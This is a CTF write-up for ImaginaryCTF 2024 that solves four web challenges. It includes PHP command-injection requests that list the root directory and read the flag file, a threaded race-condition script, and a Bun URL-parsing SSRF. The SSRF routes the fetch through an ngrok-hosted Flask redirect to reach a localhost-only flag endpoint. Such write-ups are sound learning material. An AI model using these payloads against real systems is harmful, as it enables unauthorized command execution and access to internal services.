Imaginary CTF 2024
Imaginary 2024 writeups
Journal
Simple PHP application.
The following code can be used for code execution '.system('<your command>').'
Since the flag contains randomly generated numbers, we print all the files in the root (we know the flag is there from the Dockerfile) ls -la /
.
This reveals the flag name flag-cARdaInFg6dD10uWQQgm.txt
Request URL: http://journal.chal.imaginaryctf.org/?file='.system('ls -la /').'
Now we can cat
out the flag.
Request URL: http://journal.chal.imaginaryctf.org/?file='.system('cat /flag-cARdaInFg6dD10uWQQgm.txt').'
Flag: ictf{assertion_failed_e3106922feb13b10}
Crystals (ruby sinatra)
This challenge needed to be solved by getting the hostname, this could be seen in the docker-compose.yml
file.
version: '3.3'
services:
deployment:
hostname: $FLAG
build: .
ports:
- 10001:80
The hostname is shown if a request is send with a backtick `
after the default request.
Normal: GET / HTTP/1.1
Shows flag:GET /` HTTP/1.1
The amazing race
The challenge is only available via the URL http://the-amazing-race.chal.imaginaryctf.org/ but the source code is available.
As the name suggest, this is a race condition. This can also be verified in the source code, since there is no locking mechanism.
My solution can probably be solved fully automated (and be a LOT more efficient), but I made a few changes to my script when I was stuck in the maze. This was faster then fully automating it at the time.
import requests
import threading
maze_id = "d716edab-bed1-4b54-89fd-a971bcca084b"
# Base URL for the move endpoint
url = f"http://the-amazing-race.chal.imaginaryctf.org/move"
# Function to send move requests
def move(direction):
params = {'id': maze_id, 'move': direction}
headers = {'Content-Length': '11'}
data = f'{direction}={direction}'
response = requests.post(url, params=params, headers=headers, data=data)
print(f"Moved {direction}: {response.url}")
# Directions to move
directions = ['left', 'down', 'right', 'right', 'right', 'right', 'right', 'right', 'right']
# Create and start threads for concurrent requests
for _ in range(10):
threads = []
for direction in directions:
t = threading.Thread(target=move, args=(direction,))
threads.append(t)
t.start()
# Wait for all threads to complete
for t in threads:
t.join()
After running it a few times, I was moving.
After doing that a few more times I got the flag! (don’t have the screenshot at hand right now)
Readme2
This challenge took by far most of my time. I tried many things such as bruteforcing all characters to look for anomalies and research online.
Challenge code:
const flag = process.env.FLAG || 'ictf{this_is_a_fake_flag}'
Bun.serve({
async fetch(req) {
const url = new URL(req.url)
if (url.pathname === '/') return new Response('Hello, World!')
if (url.pathname.startsWith('/flag.txt')) return new Response(flag)
return new Response(`404 Not Found: ${url.pathname}`, { status: 404 })
},
port: 3000
})
Bun.serve({
async fetch(req) {
if (req.url.includes('flag')) return new Response('Nope', { status: 403 })
const headerContainsFlag = [...req.headers.entries()].some(([k, v]) => k.includes('flag') || v.includes('flag'))
if (headerContainsFlag) return new Response('Nope', { status: 403 })
const url = new URL(req.url)
if (url.href.includes('flag')) return new Response('Nope', { status: 403 })
return fetch(new URL(url.pathname + url.search, 'http://localhost:3000/'), {
method: req.method,
headers: req.headers,
body: req.body
})
},
port: 4000 // only this port are exposed to the public
})
There are 2 servers, and certain checks need to be passed, but eventually we want to pass the following check: if (url.pathname.startsWith('/flag.txt')) return new Response(flag)
The Mozilla developer docs contains much information about the functionality of the URL
constructor https://developer.mozilla.org/en-US/docs/Web/API/URL/URL. On the bottom of the page the following section can be found:
The //foo.com
is where our input ends up
new URL(url.pathname + url.search, 'http://localhost:3000/'
To test if this works I did two tests:
Test 1: normal behaviour
const url = "/vulnerable";
const base = "https://test.org/";
const constructorResult = new URL(url, base);
console.log(constructorResult.href);
Output
Test 2: vulnerable behaviour
note the two //
instead of one /
at const url =
const url = "//vulnerable";
const base = "https://test.org/";
const constructorResult = new URL(url, base);
console.log(constructorResult.href);
Output
Flask
Now we know that we can make the fetch
request go to any URL we desire. For this I created a simple python Flask server, which sends a redirects to the server that contains the flag.txt
import os
from flask import Flask, redirect
app = Flask(__name__)
@app.route('/')
def hello():
return redirect("http://127.0.0.1:3000/flag.txt", code=302)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)
I hosted this Flask server via NGROK ngrok tcp 127.0.0.1:5000
. This is needed so the online challenge website can reach it.
And the final request shows the flag http://readme2.chal.imaginaryctf.org///6.tcp.eu.ngrok.io:14537
Flag: ictf{just_a_funny_bug_in_bun_http_handling}